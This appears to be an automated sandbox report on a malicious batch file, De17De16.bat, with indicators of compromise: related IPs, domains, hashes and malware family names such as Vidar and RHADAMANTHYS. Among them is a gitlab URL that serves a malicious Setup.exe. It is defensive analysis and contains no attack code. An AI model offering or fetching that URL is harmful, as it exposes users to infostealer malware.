                                                                                                                                                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                      Number of analysed new started processes analysed:22
                                                                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                                                                      Technologies:
                                                                                                                                                                                                      • HCA enabled
                                                                                                                                                                                                      • EGA enabled
                                                                                                                                                                                                      • AMSI enabled
                                                                                                                                                                                                      Analysis Mode:default
                                                                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                                                                      Sample name:De17De16.bat
                                                                                                                                                                                                      Detection:MAL
                                                                                                                                                                                                      Classification:mal88.troj.evad.winBAT@30/16@3/2
                                                                                                                                                                                                      EGA Information:Failed
                                                                                                                                                                                                      HCA Information:
                                                                                                                                                                                                      • Successful, ratio: 100%
                                                                                                                                                                                                      • Number of executed functions: 17
                                                                                                                                                                                                      • Number of non-executed functions: 1
                                                                                                                                                                                                      Cookbook Comments:
                                                                                                                                                                                                      • Found application associated with file extension: .bat

                                                                                                                                                                                                      Warnings

                                                                                                                                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
                                                                                                                                                                                                      • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 7584 because it is empty
                                                                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 7932 because it is empty
                                                                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 8156 because it is empty
                                                                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                      • VT rate limit hit for: De17De16.bat

                                                                                                                                                                                                      Simulations

                                                                                                                                                                                                      Behavior and APIs

                                                                                                                                                                                                      TimeTypeDescription
                                                                                                                                                                                                      08:20:12API Interceptor71x Sleep call for process: powershell.exe modified

                                                                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                                                                      IPs

                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                      172.65.251.78build_setup.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                      • gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
                                                                                                                                                                                                      162.125.69.18hnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                        jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                            hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                              hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                    CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                      xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                        RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                          Domains

                                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                          gitlab.comhnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hnsjdghf18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          sldkjgsdGarDe3.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          jhsdfggga13.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          www-env.dropbox-dns.comhnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 162.125.65.18
                                                                                                                                                                                                                          edge-block-www-env.dropbox-dns.comhnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          hnsjdghf18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.15

                                                                                                                                                                                                                          ASNs

                                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                          CLOUDFLARENETUSfile.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 172.67.179.109
                                                                                                                                                                                                                          ny.lnk.d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 172.67.211.185
                                                                                                                                                                                                                          rs.lnk.d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 172.67.211.185
                                                                                                                                                                                                                          hnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          RECOUVREMENT -FACTURER1184521.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 172.64.41.3
                                                                                                                                                                                                                          DROPBOXUShnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.4.18
                                                                                                                                                                                                                          xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.15
                                                                                                                                                                                                                          RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 162.125.21.1

                                                                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                          3b5074b1b5d032e5620f69f9f700ff0efile.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          ny.lnk.d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          rs.lnk.d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hnghksdjfhs19De.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          jhsdgfjkh236.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          kjhsdgGarmin17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hngadsfkgj17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          hsfgdf17.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          gar17lksgf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78
                                                                                                                                                                                                                          QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          • 162.125.69.18
                                                                                                                                                                                                                          • 172.65.251.78

                                                                                                                                                                                                                          Dropped Files

                                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):64
                                                                                                                                                                                                                          Entropy (8bit):0.6599547231656377
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Nlllulmll:NllU
                                                                                                                                                                                                                          MD5:8238A428604DFCBB76A63390CD65BBDE
                                                                                                                                                                                                                          SHA1:A4DA8D52DFE36DEB522DCAE7654E94B2F8391A57
                                                                                                                                                                                                                          SHA-256:E8E3F8A61FAA25DC1F29646A3E573345812BC15720CFC195094D9AD37C82A012
                                                                                                                                                                                                                          SHA-512:061B3CCBA39A1E40BDF95D1D612B220B9C3C395DCC3249E9D03AF0B5ED92AAF770127849CBE0C5E41BEA342C54368E2294EA775DC37F5239DFAF4DBB557E79AE
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:@...e...........................................................

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_145tm0qs.fnc.psm1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1q1zqxea.wuk.psm1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ir00j3z.zj4.ps1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lt21u3l5.p2a.ps1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxrkqdjf.1ge.psm1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oruiaxhi.npu.psm1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1jdhtuk.okz.ps1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymjqhxfh.t1w.psm1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z41ytxnc.j4r.ps1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdaos0gn.z1e.ps1

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                          C:\Users\user\Desktop\tmp

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):14
                                                                                                                                                                                                                          Entropy (8bit):3.521640636343319
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:Mrv:gv
                                                                                                                                                                                                                          MD5:CE585C6BA32AC17652D2345118536F9C
                                                                                                                                                                                                                          SHA1:BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
                                                                                                                                                                                                                          SHA-256:589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
                                                                                                                                                                                                                          SHA-512:D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
                                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                                          Preview:ECHO is off...

                                                                                                                                                                                                                          \Device\Null

                                                                                                                                                                                                                          Download File
                                                                                                                                                                                                                          Process:C:\Windows\System32\find.exe
                                                                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                                          Size (bytes):36
                                                                                                                                                                                                                          Entropy (8bit):3.8956388075276664
                                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                                          SSDEEP:3:gOmAe9qQn:xm/
                                                                                                                                                                                                                          MD5:89D484A82D15549C8F4BF2B4D4F1E924
                                                                                                                                                                                                                          SHA1:58F49E997A58A17C2902E08026BAC2DD16A34B1B
                                                                                                                                                                                                                          SHA-256:040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
